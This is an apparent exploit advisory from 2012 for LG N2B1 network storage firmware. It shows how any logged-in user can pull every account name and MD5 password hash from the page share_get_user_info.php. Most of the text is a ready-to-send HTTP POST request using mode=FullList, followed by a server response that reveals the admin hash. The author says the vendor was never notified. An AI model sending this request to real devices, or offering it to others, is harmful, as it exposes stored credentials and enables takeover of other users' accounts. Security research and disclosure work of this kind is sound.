# Exploit Title: LG NAS Users and password hash disclosure
# Date: 2012-09-29
# Vendor Homepage: http://www.lg.com/
# Version: <= firmware_2660 
# Tested on: N2B1 Network Storage
# Vendor notification: Not notified due to the stupid nature of the vuln..

This vulnerability has been discovered on LG N2B1 Network Storage (NAS), but 
probably other products that use the same firmware may be affected.

Any authenticated user, administrator or not, are able to retrive a list
of current authorized users along with MD5 password hashes.

The page "/en/php/share_get_user_info.php" is prone to disclose authorized
users along with their MD5 hashed passwords to any authenticated user.

Sample HTTP request:
###########################################################
POST /en/php/share_get_user_info.php?t=<any random number> HTTP/1.1
Host: 192.168.0.1:8000
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 14
Cookie: lgnas_language=en; show_filter=true; lgnas_web_menu=1; PHPSESSID=<your session>
Pragma: no-cache
Cache-Control: no-cache

&mode=FullList
###########################################################

Sample HTTP response:
###########################################################
HTTP/1.1 200 OK
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-type: text/html; charset=utf-8
Date: Sat, 29 Sep 2012 06:51:02 GMT
Server: lighttpd/1.4.20
Content-Length: 83

admin;21232f297a57a5a743894a0e4a801fc3;System Admin;;Default System Administrator: